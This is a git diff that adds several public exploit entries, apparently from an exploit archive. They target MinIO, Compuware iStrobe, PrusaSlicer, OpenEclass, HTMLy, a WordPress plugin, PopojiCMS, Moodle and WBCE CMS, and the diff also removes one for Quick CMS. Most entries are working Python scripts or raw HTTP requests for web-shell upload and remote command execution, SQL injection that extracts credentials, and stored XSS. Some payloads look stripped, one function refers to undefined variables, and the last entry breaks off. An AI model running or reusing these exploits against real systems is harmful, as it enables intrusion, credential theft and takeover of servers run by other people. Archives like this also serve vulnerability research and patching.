diff --git a/exploits/go/remote/51976.txt b/exploits/go/remote/51976.txt new file mode 100644 index 0000000000..1d0d19130a --- /dev/null +++ b/exploits/go/remote/51976.txt @@ -0,0 +1,200 @@ +# Exploit Title: MinIO < 2024-01-31T20-20-33Z - Privilege Escalation +# Date: 2024-04-11 +# Exploit Author: Jenson Zhao +# Vendor Homepage: https://min.io/ +# Software Link: https://github.com/minio/minio/ +# Version: Up to (excluding) RELEASE.2024-01-31T20-20-33Z +# Tested on: Windows 10 +# CVE : CVE-2024-24747 +# Required before execution: pip install minio,requests + +import argparse +import datetime +import traceback +import urllib +from xml.dom.minidom import parseString +import requests +import json +import base64 +from minio.credentials import Credentials +from minio.signer import sign_v4_s3 + +class CVE_2024_24747: + new_buckets = [] + old_buckets = [] + def __init__(self, host, port, console_port, accesskey, secretkey, verify=False): + self.bucket_names = ['pocpublic', 'pocprivate'] + self.new_accesskey = 'miniocvepoc' + self.new_secretkey = 'MINIOcvePOC' + self.headers = { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36', + 'Content-Type': 'application/json', + 'Accept': '*/*' + } + self.accesskey = accesskey + self.secretkey = secretkey + self.verify = verify + if verify: + self.url = "https://" + host + ":" + port + self.console_url = "https://" + host + ":" + console_port + else: + self.url = "http://" + host + ":" + port + self.console_url = "http://" + host + ":" + console_port + self.credits = Credentials( + access_key=self.new_accesskey, + secret_key=self.new_secretkey + ) + self.login() + try: + self.create_buckets() + self.create_accesskey() + self.old_buckets = self.console_ls() + self.console_exp() + self.new_buckets = self.console_ls() + + except: + traceback.print_stack() + finally: + self.delete_accesskey() + self.delete_buckets() + if len(self.new_buckets) > len(self.old_buckets): + print("There is CVE-2024-24747 problem with the minio!") + print("Before the exploit, the buckets are : " + str(self.old_buckets)) + print("After the exploit, the buckets are : " + str(self.new_buckets)) + else: + print("There is no CVE-2024-24747 problem with the minio!") + + def login(self): + url = self.url + "/api/v1/login" + payload = json.dumps({ + "accessKey": self.accesskey, + "secretKey": self.secretkey + }) + self.session = requests.session() + if self.verify: + self.session.verify = False + status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code + # print(status_code) + if status_code == 204: + status_code = 0 + else: + print('Login failed! Please check if the input accesskey and secretkey are correct!') + exit(1) + def create_buckets(self): + url = self.url + "/api/v1/buckets" + for name in self.bucket_names: + payload = json.dumps({ + "name": name, + "versioning": False, + "locking": False + }) + status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code + # print(status_code) + if status_code == 200: + status_code = 0 + else: + print("新建 (New)"+name+" bucket 失败 (fail)!") + def delete_buckets(self): + for name in self.bucket_names: + url = self.url + "/api/v1/buckets/" + name + status_code = self.session.request("DELETE", url, headers=self.headers).status_code + # print(status_code) + if status_code == 204: + status_code = 0 + else: + print("删除 (delete)"+name+" bucket 失败 (fail)!") + def create_accesskey(self): + url = self.url + "/api/v1/service-account-credentials" + payload = json.dumps({ + "policy": "{ \n \"Version\":\"2012-10-17\", \n \"Statement\":[ \n { \n \"Effect\":\"Allow\", \n \"Action\":[ \n \"s3:*\" \n ], \n \"Resource\":[ \n \"arn:aws:s3:::pocpublic\", \n \"arn:aws:s3:::pocpublic/*\" \n ] \n } \n ] \n}", + "accessKey": self.new_accesskey, + "secretKey": self.new_secretkey + }) + status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code + # print(status_code) + if status_code == 201: + # print("新建 (New)" + self.new_accesskey + " accessKey 成功 (success)!") + # print(self.new_secretkey) + status_code = 0 + else: + print("新建 (New)" + self.new_accesskey + " accessKey 失败 (fail)!") + def delete_accesskey(self): + url = self.url + "/api/v1/service-accounts/" + base64.b64encode(self.new_accesskey.encode("utf-8")).decode('utf-8') + status_code = self.session.request("DELETE", url, headers=self.headers).status_code + # print(status_code) + if status_code == 204: + # print("删除" + self.new_accesskey + " accessKey成功!") + status_code = 0 + else: + print("删除 (delete)" + self.new_accesskey + " accessKey 失败 (fail)!") + def headers_gen(self,url,sha256,method): + datetimes = datetime.datetime.utcnow() + datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ') + urls = urllib.parse.urlparse(url) + headers = { + 'X-Amz-Content-Sha256': sha256, + 'X-Amz-Date': datetime_str, + 'Host': urls.netloc, + } + headers = sign_v4_s3( + method=method, + url=urls, + region='us-east-1', + headers=headers, + credentials=self.credits, + content_sha256=sha256, + date=datetimes, + ) + return headers + def console_ls(self): + url = self.console_url + "/" + sha256 = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + headers = self.headers_gen(url,sha256,'GET') + if self.verify: + response = requests.get(url,headers=headers,verify=False) + else: + response = requests.get(url, headers=headers) + DOMTree = parseString(response.text) + collection = DOMTree.documentElement + buckets = collection.getElementsByTagName("Bucket") + bucket_names = [] + for bucket in buckets: + bucket_names.append(bucket.getElementsByTagName("Name")[0].childNodes[0].data) + # print('当前可查看的bucket有:\n' + str(bucket_names)) + return bucket_names + + def console_exp(self): + url = self.console_url + "/minio/admin/v3/update-service-account?accessKey=" + self.new_accesskey + sha256 = "0f87fd59dff29507f82e189d4f493206ea7f370d0ce97b9cc8c1b7a4e609ec95" + headers = self.headers_gen(url, sha256, 'POST') + hex_string = "e1fd1c29bed167d5cf4986d3f224db2994b4942291dbd443399f249b84c79d9f00b9e0c0c7eed623a8621dee64713a3c8c63e9966ab62fcd982336" + content = bytes.fromhex(hex_string) + if self.verify: + response = requests.post(url,headers=headers,data=content,verify=False) + else: + response = requests.post(url,headers=headers,data=content) + status_code = response.status_code + if status_code == 204: + # print("提升" + self.new_accesskey + " 权限成功!") + status_code = 0 + else: + print("提升 (promote)" + self.new_accesskey + " 权限失败 (Permission failed)!") + +if __name__ == '__main__': + logo = """ + ____ ___ ____ _ _ ____ _ _ _____ _ _ _____ + ___ __ __ ___ |___ \ / _ \ |___ \ | || | |___ \ | || | |___ || || | |___ | + / __|\ \ / / / _ \ _____ __) || | | | __) || || |_ _____ __) || || |_ / / | || |_ / / +| (__ \ V / | __/|_____| / __/ | |_| | / __/ |__ _||_____| / __/ |__ _| / / |__ _| / / + \___| \_/ \___| |_____| \___/ |_____| |_| |_____| |_| /_/ |_| /_/ + """ + print(logo) + parser = argparse.ArgumentParser() + parser.add_argument("-H", "--host", required=True, help="Host of the target. example: 127.0.0.1") + parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin") + parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin") + parser.add_argument("-c", "--console_port", required=True, help="Minio console port of the target. example: 9000") + parser.add_argument("-p", "--port", required=True, help="Minio port of the target. example: 9090") + parser.add_argument("--https", action='store_true', help="Is MinIO accessed through HTTPS.") + args = parser.parse_args() + CVE_2024_24747(args.host,args.port,args.console_port,args.accesskey,args.secretkey,args.https) \ No newline at end of file diff --git a/exploits/jsp/webapps/51991.py b/exploits/jsp/webapps/51991.py new file mode 100755 index 0000000000..c31ed7491d --- /dev/null +++ b/exploits/jsp/webapps/51991.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python3 + +# Exploit Title: Pre-auth RCE on Compuware iStrobe Web +# Date: 01-08-2023 +# Exploit Author: trancap +# Vendor Homepage: https://www.bmc.com/ +# Version: BMC Compuware iStrobe Web - 20.13 +# Tested on: zOS# CVE : CVE-2023-40304 +# To exploit this vulnerability you'll need "Guest access" enabled. The vulnerability is quite simple and impacts a web upload form, allowing a path traversal and an arbitrary file upload (.jsp files) +# The vulnerable parameter of the form is "fileName". Using the form, one can upload a webshell (content of the webshell in the "topicText" parameter).# I contacted the vendor but he didn't consider this a vulnerability because of the Guest access needed. + +import requests +import urllib.parse +import argparse +import sys + +def upload_web_shell(url): + data = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"open","topicText":"<%@ +page import=\"java.lang.*,java.io.*,java.util.*\" %><%Process +p=Runtime.getRuntime().exec(request.getParameter(\"cmd\"));BufferedReader +stdInput = new BufferedReader(new +InputStreamReader(p.getInputStream()));BufferedReader stdError = new +BufferedReader(new InputStreamReader(p.getErrorStream()));String +s=\"\";while((s=stdInput.readLine()) != +null){out.println(s);};s=\"\";while((s=stdError.readLine()) != +null){out.println(s);};%>","lang":"en","type":"MODULE","status":"PUB"} + # If encoded, the web shell will not be uploaded properly + data = urllib.parse.urlencode(data, safe='"*<>,=()/;{}!') + + # Checking if web shell already uploaded + r = requests.get(f"{url}/istrobe/jsp/userhelp/ws.jsp", verify=False) + if r.status_code != 404: + return + + r = requests.post(f"{url}/istrobe/userHelp/saveUserHelp", data=data, +verify=False) + + if r.status_code == 200: + print(f"[+] Successfully uploaded web shell, it should be +accessible at {url}/istrobe/jsp/userhelp/ws.jsp") + else: + sys.exit("[-] Something went wrong while uploading the web shell") + +def delete_web_shell(url): + paramsPost = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"delete","lang":"en","type":"MODULE","status":"PUB"} + response = session.post("http://220.4.147.38:6301/istrobe/userHelp/deleteUserHelp", +data=paramsPost, headers=headers, cookies=cookies) + + if r.status_code == 200: + print(f"[+] Successfully deleted web shell") + else: + sys.exit("[-] Something went wrong while deleting the web shell") + +def run_cmd(url, cmd): + data = f"cmd={cmd}" + r = requests.post(f"{url}/istrobe/jsp/userhelp/ws.jsp", data=data, +verify=False) + + if r.status_code == 200: + print(r.text) + else: + sys.exit(f'[-] Something went wrong while executing "{cmd}" command') + +parser = argparse.ArgumentParser(prog='exploit_cve_2023_40304.py', description='CVE-2023-40304 - Pre-auth file upload vulnerability + path traversal to achieve RCE') +parser.add_argument('url', help='Vulnerable URL to target. Must be like http(s)://vuln.target') +parser.add_argument('-c', '--cmd', help='Command to execute on the remote host (Defaults to "whoami")', default='whoami') +parser.add_argument('--rm', help='Deletes the uploaded web shell', action='store_true') +args = parser.parse_args() + +upload_web_shell(args.url) +run_cmd(args.url, args.cmd) + +if args.rm: + delete_web_shell(args.url) \ No newline at end of file diff --git a/exploits/multiple/local/51983.txt b/exploits/multiple/local/51983.txt new file mode 100644 index 0000000000..8bbbf228af --- /dev/null +++ b/exploits/multiple/local/51983.txt @@ -0,0 +1,32 @@ +# Exploit Title: PrusaSlicer 2.6.1 - Arbitrary code execution on g-code export +# Date: 16/01/2024 +# Exploit Author: Kamil Breński +# Vendor Homepage: https://www.prusa3d.com +# Software Link: https://github.com/prusa3d/PrusaSlicer +# Version: PrusaSlicer up to and including version 2.6.1 +# Tested on: Windows and Linux +# CVE: CVE-2023-47268 + +========================================================================================== +1.) 3mf Metadata extension +========================================================================================== + +PrusaSlicer 3mf project (zip) archives contain the 'Metadata/Slic3r_PE.config' file which describe various project settings, this is an extension to the regular 3mf file. PrusaSlicer parses this additional file to read various project settings. One of the settings (post_process) is the post-processing script (https://help.prusa3d.com/article/post-processing-scripts_283913) this feature has great potential for abuse as it allows a malicious user to create an evil 3mf project that will execute arbitrary code when the targeted user exports g-code from the malicious project. A project file needs to be modified with a prost process script setting in order to execute arbitrary code, this is demonstrated on both a Windows and Linux host in the following way. + +========================================================================================== +2.) PoC +========================================================================================== + +For the linux PoC, this CLI command is enough to execute the payload contained in the project. './prusa-slicer -s code-exec-linux.3mf'. After slicing, a new file '/tmp/hax' will be created. This particular PoC contains this 'post_process' entry in the 'Slic3r_PE.config' file: + +``` +; post_process = "/usr/bin/id > /tmp/hax #\necho 'Here I am, executing arbitrary code on this host. Thanks for slicing (x_x)'>> /tmp/hax #" +``` + +Just slicing the 3mf using the `-s` flag is enough to start executing potentially malicious code. + +For the windows PoC with GUI, the malicious 3mf file needs to be opened as a project file (or the settings imported). After exporting, a pop-up executed by the payload will appear. The windows PoC contains this entry: + +``` +; post_process = "C:\\Windows\\System32\\cmd.exe /c msg %username% Here I am, executing arbitrary code on this host. Thanks for slicing (x_x) " +``` \ No newline at end of file diff --git a/exploits/php/webapps/51967.txt b/exploits/php/webapps/51967.txt deleted file mode 100644 index 77dc1f93fb..0000000000 --- a/exploits/php/webapps/51967.txt +++ /dev/null @@ -1,39 +0,0 @@ -# Title: Quick CMS v6.7 en 2023 - 'password' SQLi -# Author: nu11secur1ty -# Date: 03/19/2024 -# Vendor: https://opensolution.org/ -# Software: https://opensolution.org/download/home.html?sFile=Quick.Cms_v6.7-en.zip -# Reference: https://portswigger.net/web-security/sql-injection - -# Description: The password parameter is vulnerable for SQLi bypass authentication! - -[+]Payload: -```mysql -POST /admin.php?p=login HTTP/1.1 -Host: localpwnedhost.com -Cookie: PHPSESSID=39eafb1sh5tqbar92054jn1cqg -Content-Length: 92 -Cache-Control: max-age=0 -Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122" -Sec-Ch-Ua-Mobile: ?0 -Sec-Ch-Ua-Platform: "Windows" -Upgrade-Insecure-Requests: 1 -Origin: https://localpwnedhost.com -Content-Type: application/x-www-form-urlencoded -User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 -(KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 -Accept: -text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 -Sec-Fetch-Site: same-origin -Sec-Fetch-Mode: navigate -Sec-Fetch-User: ?1 -Sec-Fetch-Dest: document -Referer: https://localpwnedhost.com/admin.php -Accept-Encoding: gzip, deflate, br -Accept-Language: en-US,en;q=0.9 -Priority: u=0, i -Connection: close - -sEmail=kurec%40guhai.mi.huq&sPass=%27+or+%271%27%3D%271&bAcceptLicense=1&iAcceptLicense=true - -``` \ No newline at end of file diff --git a/exploits/php/webapps/51975.txt b/exploits/php/webapps/51975.txt new file mode 100644 index 0000000000..9636aedcf4 --- /dev/null +++ b/exploits/php/webapps/51975.txt @@ -0,0 +1,140 @@ +# Exploit Title: GUnet OpenEclass E-learning platform 3.15 - 'certbadge.php' Unrestricted File Upload +# Date: 2024-02-04 +# Exploit Author: Georgios Tsimpidas +# Vendor Homepage: https://www.openeclass.org/ +# Software Link: https://download.openeclass.org/files/3.15/ +# Version: 3.15 (2024) +# Tested on: Debian Kali (Apache/2.4.57, PHP 8.2.12, MySQL 15.1) +# CVE : CVE-2024-31777 +# GUnet OpenEclass <= 3.15 E-learning platform - Unrestricted File + +import requests +import argparse +import zipfile +import os +import sys + +RED = '\033[91m' +GREEN = '\033[92m' +YELLOW = '\033[93m' +RESET = '\033[0m' +ORANGE = '\033[38;5;208m' + +MALICIOUS_PAYLOAD = """\ + +""" + +def banner(): + print(f'''{RED} +{YELLOW} + ============================ Author: Frey ============================ +{RESET}''') + +def execute_command(openeclass, filename): + while True: + # Prompt for user input with "eclass" + cmd = input(f"{RED}[{YELLOW}eClass{RED}]~# {RESET}") + + # Check if the command is 'quit', then break the loop + if cmd.lower() == "quit": + print(f"{ORANGE}\nExiting...{RESET}") + clean_server(openeclass) + sys.exit() + + # Construct the URL with the user-provided command + url = f"{openeclass}/courses/user_progress_data/cert_templates/{filename}?cmd={cmd}" + + # Execute the GET request + try: + response = requests.get(url) + + # Check if the request was successful + if response.status_code == 200: + # Print the response text + print(f"{GREEN}{response.text}{RESET}") + + except requests.exceptions.RequestException as e: + # Print any error that occurs during the request + print(f"{RED}An error occurred: {e}{RESET}") + +def upload_web_shell(openeclass, username, password): + login_url = f'{openeclass}/?login_page=1' + login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php' + + # Login credentials + payload = { + 'next': '/main/portfolio.php', + 'uname': f'{username}', + 'pass': f'{password}', + 'submit': 'Enter' + } + + headers = { + 'Referer': login_page_url, + } + + # Use a session to ensure cookies are handled correctly + with requests.Session() as session: + # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens + session.get(login_page_url) + + # Post the login credentials + response = session.post(login_url, headers=headers, data=payload) + + # Create a zip file containing the malicious payload + zip_file_path = 'malicious_payload.zip' + with zipfile.ZipFile(zip_file_path, 'w') as zipf: + zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode()) + + # Upload the zip file + url = f'{openeclass}/modules/admin/certbadge.php?action=add_cert' + files = { + 'filename': ('evil.zip', open(zip_file_path, 'rb'), 'application/zip'), + 'certhtmlfile': (None, ''), + 'orientation': (None, 'L'), + 'description': (None, ''), + 'cert_id': (None, ''), + 'submit_cert_template': (None, '') + } + response = session.post(url, files=files) + + # Clean up the zip file + os.remove(zip_file_path) + + # Check if the upload was successful + if response.status_code == 200: + print(f"{GREEN}Payload uploaded successfully!{RESET}") + return True + else: + print(f"{RED}Failed to upload payload. Exiting...{RESET}") + return False + +def clean_server(openeclass): + print(f"{ORANGE}Cleaning server...{RESET}") + # Remove the uploaded files + requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.zip") + requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.php") + print(f"{GREEN}Server cleaned successfully!{RESET}") + +def main(): + parser = argparse.ArgumentParser(description="Open eClass – CVE-CVE-2024-31777: Unrestricted File Upload Leads to Remote Code Execution") + parser.add_argument('-u', '--username', required=True, help="Username for login") + parser.add_argument('-p', '--password', required=True, help="Password for login") + parser.add_argument('-e', '--eclass', required=True, help="Base URL of the Open eClass") + args = parser.parse_args() + + banner() + # Running the main login and execute command function + if upload_web_shell(args.eclass, args.username, args.password): + execute_command(args.eclass, 'evil.php') + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/exploits/php/webapps/51979.txt b/exploits/php/webapps/51979.txt new file mode 100644 index 0000000000..e41fd0484e --- /dev/null +++ b/exploits/php/webapps/51979.txt @@ -0,0 +1,9 @@ +# Exploit Title: HTMLy Version v2.9.6 - Stored XSS +# Exploit Author: tmrswrr +# Vendor Homepage: https://www.htmly.com/ +# Version 3.10.8.21 +# Date : 04/08/2024 + +1 ) Login admin https://127.0.0.1/HTMLy/admin/config +2 ) General Setting > Blog title > "> +3 ) After save it you will be see XSS alert \ No newline at end of file diff --git a/exploits/php/webapps/51981.txt b/exploits/php/webapps/51981.txt new file mode 100644 index 0000000000..985ee00679 --- /dev/null +++ b/exploits/php/webapps/51981.txt @@ -0,0 +1,36 @@ +# Exploit Title: Wordpress Plugin Playlist for Youtube - Stored Cross-Site Scripting (XSS) +# Date: 22 March 2024 +# Exploit Author: Erdemstar +# Vendor: https://wordpress.com/ +# Version: 1.32 + +# Proof Of Concept: +1. Click Add a new playlist and enter the XSS payload as below into the properties named "Name" or "Playlist ID". + +# PoC Video: https://www.youtube.com/watch?v=jrH5OHBoTns +# Vulnerable Properties name: name, playlist_id +# Payload: "> +# Request: +POST /wp-admin/admin.php?page=playlists_yt_free HTTP/2 +Host: erdemstar.local +Cookie: thc_time=1713843219; booking_package_accountKey=2; wordpress_sec_dd86dc85a236e19160e96f4ec4b56b38=admin%7C1714079650%7CIdP5sIMFkCzSNzY8WFwU5GZFQVLOYP1JZXK77xpoW5R%7C27abdae5aa28462227b32b474b90f0e01fa4751d5c543b281c2348b60f078d2f; wp-settings-time-4=1711124335; cld_2=like; _hjSessionUser_3568329=eyJpZCI6ImY4MWE3NjljLWViN2MtNWM5MS05MzEyLTQ4MGRlZTc4Njc5OSIsImNyZWF0ZWQiOjE3MTEzOTM1MjQ2NDYsImV4aXN0aW5nIjp0cnVlfQ==; wp-settings-time-1=1712096748; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse%26uploader%3D1%26Categories_tab%3Dpop%26urlbutton%3Dfile%26editor%3Dtinymce%26unfold%3D1; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_dd86dc85a236e19160e96f4ec4b56b38=admin%7C1714079650%7CIdP5sIMFkCzSNzY8WFwU5GZFQVLOYP1JZXK77xpoW5R%7Cc64c696fd4114dba180dc6974e102cc02dc9ab8d37482e5c4e86c8e84a1f74f9 +Content-Length: 178 +Cache-Control: max-age=0 +Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122" +Sec-Ch-Ua-Mobile: ?0 +Sec-Ch-Ua-Platform: "macOS" +Upgrade-Insecure-Requests: 1 +Origin: https://erdemstar.local +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Sec-Fetch-Site: same-origin +Sec-Fetch-Mode: navigate +Sec-Fetch-User: ?1 +Sec-Fetch-Dest: document +Referer: https://erdemstar.local/wp-admin/admin.php?page=playlists_yt_free +Accept-Encoding: gzip, deflate, br +Accept-Language: en-US,en;q=0.9 +Priority: u=0, i + +_wpnonce=17357e6139&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dplaylists_yt_free&name=">&playlist_id=123&template=1&text_size=123&text_color=%23000000 \ No newline at end of file diff --git a/exploits/php/webapps/51982.txt b/exploits/php/webapps/51982.txt new file mode 100644 index 0000000000..39750c780b --- /dev/null +++ b/exploits/php/webapps/51982.txt @@ -0,0 +1,40 @@ +# Exploit Title: PopojiCMS Version : 2.0.1 Remote Command Execution +# Date: 27/11/2023 +# Exploit Author: tmrswrr +# Vendor Homepage: https://www.popojicms.org/ +# Software Link: https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip +# Version: Version : 2.0.1 +# Tested on: https://www.softaculous.com/apps/cms/PopojiCMS + +##POC: + +1 ) Login with admin cred and click settings +2 ) Click on config , write your payload in Meta Social > +3 ) Open main page , you will be see id command result + + +POST /PopojiCMS9zl3dxwbzt/po-admin/route.php?mod=setting&act=metasocial HTTP/1.1 +Host: demos5.softaculous.com +Cookie: _ga_YYDPZ3NXQQ=GS1.1.1701095610.3.1.1701096569.0.0.0; _ga=GA1.1.386621536.1701082112; AEFCookies1526[aefsid]=3cbt9mdj1kpi06aj1q5r8yhtgouteb5s; PHPSESSID=b6f1f9beefcec94f09824efa9dae9847; lang=gb; demo_563=%7B%22sid%22%3A563%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22password%22%2C%22url%22%3A%22http%3A%5C%2F%5C%2Fdemos5.softaculous.com%5C%2FPopojiCMS9zl3dxwbzt%22%2C%22adminurl%22%3A%22http%3A%5C%2F%5C%2Fdemos5.softaculous.com%5C%2FPopojiCMS9zl3dxwbzt%5C%2Fpo-admin%5C%2F%22%2C%22dir_suffix%22%3A%229zl3dxwbzt%22%7D +User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: https://demos5.softaculous.com/PopojiCMS9zl3dxwbzt/po-admin/admin.php?mod=setting +Content-Type: application/x-www-form-urlencoded +Content-Length: 58 +Origin: https://demos5.softaculous.com +Dnt: 1 +Upgrade-Insecure-Requests: 1 +Sec-Fetch-Dest: document +Sec-Fetch-Mode: navigate +Sec-Fetch-Site: same-origin +Sec-Fetch-User: ?1 +Te: trailers +Connection: close + +meta_content=%3C%3Fphp+echo+system%28%27id%27%29%3B+%3F%3E + +Result: + +uid=1000(soft) gid=1000(soft) groups=1000(soft) uid=1000(soft) gid=1000(soft) groups=1000(soft) \ No newline at end of file diff --git a/exploits/php/webapps/51984.py b/exploits/php/webapps/51984.py new file mode 100755 index 0000000000..504901a8a3 --- /dev/null +++ b/exploits/php/webapps/51984.py @@ -0,0 +1,75 @@ +# Exploit Title: Moodle Authenticated Time-Based Blind SQL Injection - "sort" Parameter +# Google Dork: +# Date: 04/11/2023 +# Exploit Author: Julio Ángel Ferrari (Aka. T0X1Cx) +# Vendor Homepage: https://moodle.org/ +# Software Link: +# Version: 3.10.1 +# Tested on: Linux +# CVE : CVE-2021-36393 + +import requests +import string +from termcolor import colored + +# Request details +URL = "http://127.0.0.1:8080/moodle/lib/ajax/service.php?sesskey=ZT0E6J0xWe&info=core_course_get_enrolled_courses_by_timeline_classification" +HEADERS = { + "Accept": "application/json, text/javascript, */*; q=0.01", + "Content-Type": "application/json", + "X-Requested-With": "XMLHttpRequest", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36", + "Origin": "http://127.0.0.1:8080", + "Referer": "http://127.0.0.1:8080/moodle/my/", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "en-US,en;q=0.9", + "Cookie": "MoodleSession=5b1rk2pfdpbcq2i5hmmern1os0", + "Connection": "close" +} + +# Characters to test +characters_to_test = string.ascii_lowercase + string.ascii_uppercase + string.digits + "!@#$^&*()-_=+[]{}|;:'\",.<>?/" + +def test_character(payload): + response = requests.post(URL, headers=HEADERS, json=[payload]) + return response.elapsed.total_seconds() >= 3 + +def extract_value(column, label): + base_payload = { + "index": 0, + "methodname": "core_course_get_enrolled_courses_by_timeline_classification", + "args": { + "offset": 0, + "limit": 0, + "classification": "all", + "sort": "", + "customfieldname": "", + "customfieldvalue": "" + } + } + + result = "" + for _ in range(50): # Assumes a maximum of 50 characters for the value + character_found = False + for character in characters_to_test: + if column == "database()": + base_payload["args"]["sort"] = f"fullname OR (database()) LIKE '{result + character}%' AND SLEEP(3)" + else: + base_payload["args"]["sort"] = f"fullname OR (SELECT {column} FROM mdl_user LIMIT 1 OFFSET 0) LIKE '{result + character}%' AND SLEEP(3)" + + if test_character(base_payload): + result += character + print(colored(f"{label}: {result}", 'red'), end="\r") + character_found = True + break + + if not character_found: + break + + # Print the final result + print(colored(f"{label}: {result}", 'red')) + +if __name__ == "__main__": + extract_value("database()", "Database") + extract_value("username", "Username") + extract_value("password", "Password") \ No newline at end of file diff --git a/exploits/php/webapps/51985.txt b/exploits/php/webapps/51985.txt new file mode 100644 index 0000000000..a4c67133fb --- /dev/null +++ b/exploits/php/webapps/51985.txt @@ -0,0 +1,56 @@ +# Exploit Title: |Unauthenticated SQL injection in WBCE 1.6.0 +# Date: 15.11.2023 +# Exploit Author: young pope +# Vendor Homepage: https://github.com/WBCE/WBCE_CMS +# Software Link: https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.0.zip +# Version: 1.6.0 +# Tested on: Kali linux +# CVE : CVE-2023-39796 + +There is an sql injection vulnerability in *miniform* module which is a +default module installed in the *WBCE* cms. It is an unauthenticated +sqli so anyone could access it and takeover the whole database. + +In file /modules/miniform/ajax_delete_message.php there is no +authentication check. On line |40| in this file, there is a |DELETE| +query that is vulnerable, an attacker could jump from the query using +tick sign - ```. + +Function |addslashes()| +(https://www.php.net/manual/en/function.addslashes.php) escapes only +these characters and not a tick sign: + + * single quote (') + * double quote (") + * backslash () + * NUL (the NUL byte + +The DB_RECORD_TABLE parameter is vulnerable. + +If an unauthenticated attacker send this request: + +``` + +POST /modules/miniform/ajax_delete_message.php HTTP/1.1 +Host: localhost +User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, +like Gecko) Chrome/36.0.1985.125 Safari/537.36 +Connection: close +Content-Length: 162 +Accept: */* +Accept-Language: en +Content-Type: application/x-www-form-urlencoded +Accept-Encoding: gzip, deflate + +action=delete&DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+&iRecordID=1&DB_COLUMN=message_id&MODULE=&purpose=delete_record + +``` + +The response is received after 6s. + +Reference links: + + * https://nvd.nist.gov/vuln/detail/CVE-2023-39796 + * https://forum.wbce.org/viewtopic.php?pid=42046#p42046 + * https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1 + * https://pastebin.com/PBw5AvGp \ No newline at end of file diff --git a/exploits/php/webapps/51986.txt b/exploits/php/webapps/51986.txt new file mode 100644 index 0000000000..2fdc861f15 --- /dev/null +++ b/exploits/php/webapps/51986.txt @@ -0,0 +1,75 @@ +# Exploit Title: WBCE CMS Version : 1.6.1 Remote Command Execution +# Date: 30/11/2023 +# Exploit Author: tmrswrr +# Vendor Homepage: https://wbce-cms.org/ +# Software Link: https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.1.zip +# Version: 1.6.1 +# Tested on: https://www.softaculous.com/apps/cms/WBCE_CMS + +## POC: + +1 ) Login with admin cred and click Add-ons +2 ) Click on Language > Install Language > https://demos6.softaculous.com/WBCE_CMSgn4fqnl8mv/admin/languages/index.php +3 ) Upload upgrade.php > , click install > https://demos6.softaculous.com/WBCE_CMSgn4fqnl8mv/admin/languages/install.php +4 ) You will be see id command result + +Result: + +uid=1000(soft) gid=1000(soft) groups=1000(soft) uid=1000(soft) gid=1000(soft) groups=1000(soft) + +### Post Request: + +POST /WBCE_CMSgn4fqnl8mv/admin/languages/install.php HTTP/1.1 +Host: demos6.softaculous.com +Cookie: _ga_YYDPZ3NXQQ=GS1.1.1701347353.1.1.1701349000.0.0.0; _ga=GA1.1.1562523898.1701347353; AEFCookies1526[aefsid]=jefkds0yos40w5jpbhl6ue9tsbo2yhiq; 